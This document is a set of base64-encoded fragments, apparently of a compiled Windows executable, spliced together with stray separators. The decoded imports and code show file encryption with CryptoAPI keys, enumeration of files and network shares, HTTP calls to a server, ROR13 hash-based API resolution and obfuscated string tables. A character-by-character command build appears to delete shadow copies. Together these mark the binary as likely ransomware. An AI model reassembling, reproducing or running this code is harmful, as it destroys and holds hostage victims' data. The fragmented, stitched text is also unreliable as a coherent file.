hVD///9Q/3Xw/xVsMgEQg8QQg33wAHUaahGNRdRQav+NhVD///9Q/3X8/xV8MgEQ6xRqEY1F1FBq//918P91/P8VfDIBEIN95AB0CItN5OgQ7///g33wAHQIi03w6ALv////tdz+////dfT/dez/dfzoffX//4PEEGoEaAAwAABoAAIAAGoA/xVkMQEQi00IiQGLRQiDOAB0O8eF2P7//wEAAACLRQj/MGgAAQAA/xU4MQEQaMCHARCLRQj/MP8VnDEBEItFCP8wi1X4i03M6EDz//9Z/7XU/v///3X8/xVoMAEQ/7Xk/v///xVkMAEQ/7XM/v///3X8/xVoMAEQ/3XM/xVkMAEQ/3X8/xVQMAEQ/3X4agD/FWQyARCLhdj+//9ei+Vdw1WL7ItNCOgh7v//XcIEAFWL7ItNCOgj7v//XcIEAMzMzMzMzMzMzMwzwA+iw8zMzMzMzMzMzMzMSIsBw2VIiwQliAEAAEiLQGhIicFIx8IEAAAASMfH6AAAAEiLBDhIKfhIOZDgAAAAdfBIi5BoAQAASImRaAEAAEgxwMNlSIsEJYgBAABIi0BwSInBSMfCBAAAAEjHx4gBAABIiwQ4SCn4SDmQgAEAAHXwSIuQCAIAAEiJkQgCAABIMcDDZUiLBCWIAQAASItAaEiJwUjHwgQAAABIx8fgAAAASIsEOEgp+Eg5kNgAAAB18EiLkGABAABIiZFgAQAASDHAw8zMzMzMzMzMzMzMzGaD+EF9AcNmg/hadgHDZoPoIMNlSIsEJWAAAADDVldIic5IiddMicH886RfXkyJwMNWSInOZq1mhcB1+UgpzkiJ8Ej/yEjR+F7DU1ZXZkKLBEHoqf///2aL2GZCiwRC6Jz///9mO8N1Dkn/yHnfuAEAAABfXlvDM8Dr+FZIic6shMB1+0iJ8Egpy','+Vdw1WL7IPsGI1N6FP/dRDoJvP//4tdCI1DAT0AAQAAdw+LRei','yBSsFdwVgBWkFZAVsBXYFKAVmBXcFagV2BWAFcQV2BSsFZgVqBWgFPgVyBXIFcgUrBWkFYAV3BWwFZgVtBWAFaAVqBWsFYQUrBWYFagVoBT4FcgVyBXIFKwVtBWoFcQVgBWkFaQVsBWEFagUoBWkFcAViBWQFawVqBSsFZgVqBWgFPgVyBXIFcgUrBWQFaQVsBWgFYAVrBXEFZAV3BWwFcAVoBSsFagV3BWIFPgVyBXIFcgUrBXMFbAVxBWQFcQVgBXcFcQVsBWQFKwV','8VnDEBEItN9OiyTAAAi03s6KpMAACLReCL5V3DVYvsg+wM6AAAAAA+gwQkEXUFdAPpKBRY/+AA6cdF+BBzARCDZfwAjUX0UGgZAAIAagD/dfhoAgAAgP8VPDABEIlF/IN9/AB0HI1F9FBoGQACAGoA/3X4aAEAAID/FTwwARCJRfyDffwAdQn/dfT/FTgwARAzwIN9/AAPlcCL5V3DVYvsg+wo6AAAAAA+gwQkEXUFdAPpKBRY/+AA6YNl6ADHReQQcwEQg2X0AI1F+FBoGQACAGoA/3XkaAIAAID/FTwwARCJRfSDffQAdCqNRfhQaBkAAgBqAP915GgBAACA/xU8MAEQiUX0g330AHQIi0Xo6csAAADHReBAcwEQx0XcUHMBEINl8ACNRfBQagBqAGoA/3Xg','vDkYGKg5GBimORgY0jkYGMI5GBjyORgY4DkYGBgYGBgBGV1gcWxIand7fWtrGIYYW2p9eWx9VW1sfWBPGBiwGFtqfXlsfUhqd3t9a2tPGBjhHE95cWxed2pLcXZ/dH1XenJ9e2wY9BxOcWpsbXl0Xmp9fRgYHU95cWxWeXV9fEhxaH1PGBg9HU9qcWx9XnF0fRiYG1dofXZIand7fWtrGNgbSn15fF5xdH0YGJcYW2p9eWx9XnF0fU8YVh10a2xqdH12TxgYGhpffWxUeWtsXWpqd2oYGPEcTnFqbG15dFl0dHd7GBhKGFt0d2t9UHl2fHR9GNkZX31sW21qan12bEhqd3t9a2tRfBhTXUpWXVQrKjZ8dHQYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRhZGFkYWRgYGBgYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGRgAGBgYABgYmBgYGBgYGBgYGBgYGBgYGRgaGBgYKBgYmBgYGBgYGBgYGBgYGBgYGRgRHBgYUBgYGHhYGBhlGRgYGBgYGBgYGBgYGBgYGBgYGCQnYHV0OG59amtxd3YlPyk2KD84fXZ7d3xxdn8lP01MXjUgPzhrbHl2fHl0d3Z9JT9hfWs/JyYVEiR5a2t9dXp0YThgdXR2ayU/bWp2Imt7cH11eWs1dXF7andrd35sNXt3dSJ5a3U2bik/OHV5dnF+fWtsTn1qa3F3diU/KTYoPyYVEjg4JGxqbWtsUXZ+dzhgdXR2ayU6bWp2I','JBD/FcwxA','LQBlAHMAAABmAGEALQBpAHIAAABmAGkALQBmAGkAAABmAG8ALQBmAG8AAABmAHIALQBiAGUAAABmAHIALQBjAGEAAABmAHIALQBjAGgAAABmAHIALQBmAHIAAABmAHIALQBsAHUAAABmAHIALQBtAGMAAABnAGwALQBlAHMAAABnAHUALQBpAG4AAABoAGUALQBpAGwAAABoAGkALQBpAG4AAABoAHIALQBiAGEAAABoAHIALQBoAHIAAABoAHUALQBoAHUAAABoAHkALQBhAG0AAABpAGQALQBpAGQAAABpAHMALQBpAHMAAABpAHQALQBjAGgAAABpAHQALQBpAHQAAABqAGEALQBqAHAAAABrAGEALQBnAGUAAABrAGsALQBrAHoAAABrAG4ALQBpAG4AAABrAG8AawAtAGkAbgAAAAAAawBvAC0AawByAAAAawB5AC0AawBnAAAAbAB0AC0AbAB0AAAAbAB2AC0AbAB2AAAAbQBpAC0AbgB6AAAAbQBrAC0AbQBrAAAAbQBsAC0AaQBuAAAAbQBuAC0AbQBuAAAAbQByAC0AaQBuAAAAbQBzAC0AYgBuAAAAbQBzAC0AbQB5AAAAbQB0AC0AbQB0AAAAbgBiAC0AbgBvAAAAbgBsAC0AYgBlAAAAbgBsAC0AbgBsAAAAbg','uZm8A9wRXYWl0Rm9yTXVsdGlwbGVPYmplY3RzAABFBWxzdHJjbXBpVwCeAkdldFVzZXJEZWZhdWx0VUlMYW5ndWFnZQAA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AYQJHZXRTaG9ydFBhdGhOYW1lVwCvAkdldFdpbmRvd3NEaXJlY3RvcnlXAACnAkdldFZvbHVtZUluZm9ybWF0aW9uVwC1AENyZWF0ZVRocmVhZAAARwVsc3RyY3B5QQAAHQFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NXAJMCR2V0VGlja0NvdW50AABEBWxzdHJjbXBpQQCWA1Byb2Nlc3MzMkZpcnN0VwCYA1Byb2Nlc3MzMk5leHRXAAC+AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAOQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA7gBFbnRlckNyaXRpY2FsU2VjdGlvbgAA7gRWaXJ0dWFsTG9jawA5AUZpbmRGaXJzdEZpbGVXAABgA01vdmVGaWxlRXhXADQBRmluZEZpcnN0RmlsZUV4VwAAEQVXaWRlQ2hhclRvTXVsdGlCeXRlAEIFbHN0cmNtcFcAAC4BRmluZENsb3NlAEUBRmluZE5leHRGaWxlVwB3AkdldFN5c3RlbVRpbWUAJQJHZXROYXRpdmVTeXN0ZW1JbmZvANMBR2V0RHJpdmVUeXBlVwDPAUdldERpc2tGcmVlU3BhY2VXAOQEVmVyU2V0Q29uZGl0aW9uTWFzawDoBFZlcmlmeVZlcnNpb25JbmZvVwAAcwRTZXRMYXN0RXJyb3IAADwDTG9hZExpYnJhcnlBAABEA0xvY2FsQWxsb2MAABUCR2V0TW9kdWxlSGFuZGxlQQAASANMb2NhbEZyZWUAswJHbG9iYWxBbGxvYwBmA011bERpdgAAhQJHZXRUZW1wUGF0aFcAALoCR2xvYmFsRnJlZQAAS0VSTkVMMzIuZGxsAAAzA3dzcHJpbnRmVwBwAENyZWF0ZVdpbmRvd1N0YXRpb25XAACqAlNldFByb2Nlc3NXaW5kb3dTdGF0aW9uAOwCU3lzdGVtUGFyYW1ldGVyc0luZm9XAC0BR2V0Rm9yZWdyb3VuZFdpbmRvdwBlAlJlbGVhc2VEQwAhAUdldERDADIDd3NwcmludGZBAM0ARHJhd1RleHRBANAARHJhd1RleHRXAPYARmlsbFJlY3QAAFVTRVIzMi5kbGwAACkAQ3JlYXRlQml0bWFwAAB8AlNldEJpdG1hcEJpdHMApwFHZXRCaXRtYXBCaXRzAA0CR2V0U3RvY2tPYmplY3QAAAQCR2V0UGl4ZWwAAP0BR2V0T2JqZWN0VwAAQQBDcmVhdGVGb250VwAvAENyZWF0ZUNvbXBhdGlibGVCaXRtYXAAADAAQ3JlYXRlQ29tcGF0aWJsZURDAAB3AlNlbGVjdE9iamVjdAAA5gBEZWxldGVPYmplY3QAAJsCU2V0UGl4ZWwAAH4CU2V0QmtDb2xvcgAAygFHZXRESUJpdHMAywFHZXREZXZpY2VDYXBzAOMARGVsZXRlREMAAKYCU2V0VGV4dENvbG9yAABHREkzMi5kbGwAOQJSZWdDcmVhdGVLZXlFeFcAbgJSZWdRdWVyeVZhbHVlRXhXAABhAlJlZ09wZW5LZXlFeFcAMAJSZWdDbG9zZUtleQB+AlJlZ1NldFZhbHVlRXhXAAC/AENyeXB0RXhwb3J0S2V5AACxAENyeXB0QWNxdWlyZUNvbnRleHRXAADFAENyeXB0R2V0S2V5UGFyYW0AAMsAQ3J5cHRSZWxlYXNlQ29udGV4dADKAENyeXB0SW1wb3J0S2V5AAC6AENyeXB0RW5jcnlwdAAAwABDcnlwdEdlbktleQC3AENyeXB0RGVzdHJveUtleQBlAUdldFVzZXJOYW1lVwAA9wFPcGVuUHJvY2Vzc1Rva2VuAABXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudABaAUdldFRva2VuSW5mb3JtYXRpb24AQURWQVBJMzIuZGxsAAAhAVNoZWxsRXhlY3V0ZUV4VwAiAVNoZWxsRXhlY3V0ZVcA4QBTSEdldFNwZWNpYWxGb2xkZXJQYXRoVwBTSEVMTDMyLmRsbAAQAFdOZXRDbG9zZUVudW0APQBXTmV0T3BlbkVudW1XABwAV05ldEVudW1SZXNvdXJjZVcATVBSLmRsbACaAEludGVybmV0T3BlblcAawBJbnRlcm5ldENsb3NlSGFuZGxlAFkASHR0cFF1ZXJ5SW5mb0EAAHIASW50ZXJuZXRDb25uZWN0VwAAXgBIdHRwU2VuZFJlcXVlc3RXAAB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','Fcv///2p3WGaJhXT///9qc1hmiYV2////aiBYZomFeP///2ovWGaJhXr///9qYVhmiYV8////amxYZomFfv///2psWGaJRYBqIFhmiUWCai9YZolFhGpxWGaJRYZqdVhmiUWIamlYZolFimplWGaJRYxqdFhmiUWOM8BmiUWQjUXYiUX4jYVE////iUX0aAAEAACNjTT////oVQoAAGgAAgAAjY00////6IoKAACJRfyDffwAdRyDZewAi0XsiUXw602NjTT////oWQoAAItF7OtLaAABAAD/dfz/FawxARD/dfj/dfz/FZwxARBqAGoA/3X0/3X8aHx1ARBqAP8VUDIBEGogWTvIG8D32IlF8I2NNP///+gMCgAAi0Xwi+Vdw1WL','tiaAAAAOgUlBSsFdwVkBXcFJQUrBX8FbAV1BSUFKwVmBWQFZwUlBSsFZAV3BW8FJQUrBWkFfwVtBSUFKwVxBWQFdwUlBSsFMgV/BSUFKwViBX8FbAV1BSUFKwVsBXYFagUlBSsFfwUlBSsFMgUoBX8FbAV1BSUFKwVpBX8FaAVkBSUFKwVzBWgFfQUlBSsFcwVoBWEFbgUlBSsFcwVoBWAFaAUlBSsFcwVhBWwFJQUlBSsFcwVnBWoFfSUFBQUFAAAAAAAAOgUlBSsFNAV2BXEFJQUrBTMFNQU3BSUFKwVhBWoFZgVnBSUFKwV9BWkFaAUlBSsFfQVpBXYFfQUlBSsFfQVpBXYFaAUlBSsFfQVpBXEFfQUlBSsFfQVpBXEFaAUlBSsFfQVpBXYFZwUlBSsFfQVpBWQFJQUrBX0FaQVkBWgFJQUrBX0FaQVpBSUFKwV9BWkFcgUlBSsFdQV1BXEFJQUrBXUFagVxBSUFKwV1BXUFdgUlBSsFdQV1BXEFfQUlBSsFdQV1BXEFaAUlBSsFdQVqBXEFfQUlBSsFdQVqBXEFaAUlBSsFdQV1BWQFaAUlBSsFdQV1BXYFfQUlBSsFdQV1BXYFaAUlBSsFdgVpBWEFfQUlBSsFdgVpBWEFaAUlBSsFfQV1BXYFJQUrBX0FaQV2BSUFKwV9BWkFcQUlBSsFWgVhBWoFZgUlBSsFYQVqBXEFaAUlBSsFWgVhBWoFZgV9BSUFKwVkBWcFcgUlBSsFZAVmBXEFJQUrBWQFYQVqBWYFJQUrBWQFbAVoBSUFKwVkBWsFdgUlBSsFZAV1BW4FYgUlBSsFZAV1BXEFJQUrBWQFdgVmBSUFKwVkBXYFZgUlBSsFZAV2BWYFbAVsBSUFKwVkBXYFYAUlBSsFZAVxBXwFJQUrBWQFcgV1BSUFKwVkBXIFcQUlBSsFZAVyBXIFJQUrBWcFZAVhBSUFKwVnBWcFdgUlBSsFZwVhBXUFJQUrBWcFYQV3BSUFKwVnBWAFZAVrBSUFKwVnBWwFZwUlBSsFZwVsBWcFJQUrBWcFbAVnBXEFYAV9BSUFKwVnBWgFaQUlBSsFZwVrBWQFJQUrBWcFagVmBSUFKwVnBXcFfQUlBSsFZwVxBWEFJQUrBWcFfwVkBWcFcgUlBSsFZgVkBWkFZgVkBSUFKwVmBW0FZAV3BXYFYAVxBSUFKwVmBW0FZAV3BXEFJQUrBWYFbQVqBXcFYQUlBSsFZgVrBWgFJQUrBWYFagVhBSUFKwVmBXcFcgVpBSUFKwVmBXIFdgUlBSsFZgV8BWwFJQUrBWEFZgVkBSUFKwVhBWMFcQVsBSUFKwVhBWIFdgUlBSsFYQVsBX8FJQUrBWEFawVgBSUFKwVhBWoFcQUlBSsFYQVqBWYFJQUrBWEFagVmBWgFJQUrBWEFagVxBX0FJQUrBWEFagVmBX0FJQUrBWEFagVmBX0FaAVpBSUFKwVhBWoFZgV/BSUFKwVhBWoFfQUlBSsFYQV3BWoFdQVnBWoFfQUlBSsFYQV2BWYFJQUrBWEFcwVsBSUFKwVhBXIFYQUlBSsFYQV9BSUFKwVhBX0FZwUlBSsFYQV9BXUFJQUrBWAFbAVqBSUFKwVgBWwFcQUlBSsFYAVoBWMFJQUrBWAFaAVpBSUFKwVgBWgFaQV9BSUFKwVgBWgFcAVpBWAFZgVqBWkFaQVgBWYFcQVsBWoFawUlBSsFYAV1BXUFJQUrBWAFdwV3BSUFKwVgBXcFdwUlBSsFYAVxBWMFJQUrBWAFcQV9BSUFKwVgBXAFZgUlBSsFYwVkBWEFYAVsBWsFKwVxBWAFaAV1BWkFZAVxBWAFJQUrBWMFZAV0BSUFKwVjBWcFaQUlBSsFYwVmBWMFJQUrBWMFYQVjBSUFKwVjBWEFdwUlBSsFYwVhBXYFJQUrBWMFYQVxBSUFKwVjBWEFfQUlBSsFYwVhBX0FcQUlBSsFYwVjBXEFJQUrBWMFYgV2BSUFKwVjBWkFdwUlBSsFYwVqBWEFcQUlBSsFYwVqBXAFawVxBWQFbAVrBSUFKwVjBXUFcQUlBSsFYwV3BXEFJQUrBWMFcgVhBSUFKwVjBXIFYQVrBSUFKwViBWgFYQUlBSsFYgV1BWEFJQUrBWIFdQVrBSUFKwViBXYFYQUlBSsFYgVxBW0FdwUlBSsFYgVzBSUFKwVtBWcFbgUlBSsFbQVtBXEFJQUrBW0FdgUlBSsFbQVyBXUFJQUrBW0FcgV1BSUFKwVtBX8FJQUrBWwFYQV9BSUFKwVsBWwFaQUlBSsFbAV1BWMFJQUrBWwFdQV2BXUFagVxBSUFKwVvBWQF','qBEl554tNzEGLwZmD4h8D0MH6BYlV1IHhHwAAgHkFSYPJ4EFqH1grwYlF0DPAi03QQNPghUSV8A+EkgAAAIvH0+D30IVElfDrBDlclfB1B0I71nz163aLfcyLx2ofmVkj0QPQwfoFgecfAACAeQVPg8/gR4tElfArzzP/R9Pni8uJfdwD+Il94Dv4i0Xgav9fcgU7RdxzAzPJQYlElfBKeCiFyXQhi0SV8IvLjXgBO/iJfeCLx3IFg/gBcwMzyUGJRJXwSnnbg8//i03Qi1XUi8fT4CFElfBCO9Z9EY198IvOjTyXK8ozwPOrg8//iw2krQEQQYvBmYPiHwPCwfgFiUXYgeEfAACAeQVJg8ngQYlN3IvD0+dqIIld4PfXi13cWSvLiUXMiU3ci1SF8IvLi8LT6otNzCPHC1XgiVSN8ItN3NPgiUXgi0XMQIlFzDvGfNeLddiNVfiLxsHgAmoCK9Az21k7znwIiwKJRI3w6wSJXI3wg+oESXnq6dj9//87DZitARAPjKIAAACLDaStARCNffAzwKurq4vBgU3wAAAAgJmD4h8DwsH4BYlFzIHhHwAAgHkFSYPJ4EGDz/+JTchqINPnWCvBiV3g99eJRdiLVJ3wi8LT6iPHC1Xgi03Y0+CLTciJVJ3wQ4lF4DvefN+LdcyNVfiLxsHgAmoCK9Az21k7znwIiwKJRI3w6wSJXI3wg+oESXnqizWsrQEQM9sDNZitARBD6ZUAAACLNaytARCBZfD///9/A/GLDaStARCLwZmD4h+JdcgDwsH4BYlF2IHhHwAAgHkFSYPJ4EFqIIld4Ivz0+eL2Vgrw4lN3PfXiUXci1S18IvLi8LT6gtV4CPHi03c0+CJVLXwRolF4IP+A3zfi33YjVX4i3XIi8fB4AJqAivQM9tZO898CIsCiUSN8OsEiVyN8IPqBEl56ot9wGofWCsFpK0BEIvIi0W80+b32BvAJQAAAIAL8KGorQEQC3Xwg/hAdQqLRfSJdwSJB+sHg/ggdQKJN4tN/IvDX14zzVvoTcz//4vlXcNVi+yD7EShUKoBEDPFiUX8i00IU1ZXD7dBCjPbi30Mi9AlAIAAAIl9wIlFvIHi/38AAItBBoHq/z8AAIlF8ItBAolF9A+3AcHgEIlV4IlF+IH6AcD//3Uli/OLwzlchfB1C0CD+AN89Om5BAAAM8CNffCrq6tqAlvppgQAAKG4rQEQjXXwjX3kiVXcpUiJRcxqH4ld1KWNSAGLwZmlXiPWA9DB+gWJVcSB4R8AAIB5BUmDyeBBK/EzwECJddCLzoPP/9PgagNehUSV8A+EpAAAAIvH0+D30IVElfDrBDlclfB1CkI71nz16YUAAACLRcyZah9ZI9ED0ItFzMH6BSUfAACAeQVIg8jgQCvIiV3UM8BA0+CJRciLRJXwi03IA8iJTdg7yItF2IvLav9fcgU7RchzBjPJQYlN1IlElfBKeC6FyXQni0SV8IvLiV3UjXgBO/iJfdiLx3IFg/gBcwYzyUGJTdSJRJXwSnnVg8//i03Qi1XEi8fT4CFElfCNQgE7xn0RjX3wi86NPIcryDPA86uDz/+LTeA5XdR0AUGLFbStARCLwisFuK0BEDvIfQ8zwI198Kurq4vz6bb+//87yg+PGQIAACtV3I115IlV0I198IvCpZmD4h8DwsH4BaWJRcSLRdClJR8AAIB5BUiDyOBAiUXQg8//i8eJXeCLfdCLz9Pg99BqIIlF2Fgrx2oDiUXIXotUnfCLz4vC0+oLVeAjRdiLTcjT4IlUnfBDiUXgO95834tFxI1V+MHgAjPbagIr0IPP/4tFxFk7yHwLiwKJRI3wi0XE6wSJXI3wg+oESXnni03MQYvBmYPiHwPQwfoFiVXU','CWGvAFDPJZomMBfD3//+NhfD3//9QaAh1ARD/dfj/FXAyARCDxAz/dfhqAGoA/xWQMQEQ/xWkMQEQg/gFdA3/FaQxARA9twAAAHUGg2X0AOsHx0X0AQAAAItN/OisQAAAi0346KRAAACLRfSL5V3DVYvsg+wQ6AAAAAA+gwQkEXUFdAPpKBRY/+AA6YNl/ACDfRwAdRyNRfhQaBkAAgBqAP91DP91CP8VPDABEIlF/OsajUX4UGgZAAIAagD/dQz/dQj/FTwwARCJ','hcB0Go1N2FFQ/xWgMQEQhcB0C41N+FFqBP91/P/Q','dwVzBWwFdgUlBSsFbwVsBXYFJQUrBW8FawV1BSUFKwVvBWoFYAUlBSsFbwV1BTQFJQUrBW8FdwVxBWMFJQUrBW8FcQVhBSUFKwV','ATgAAAGMAeQA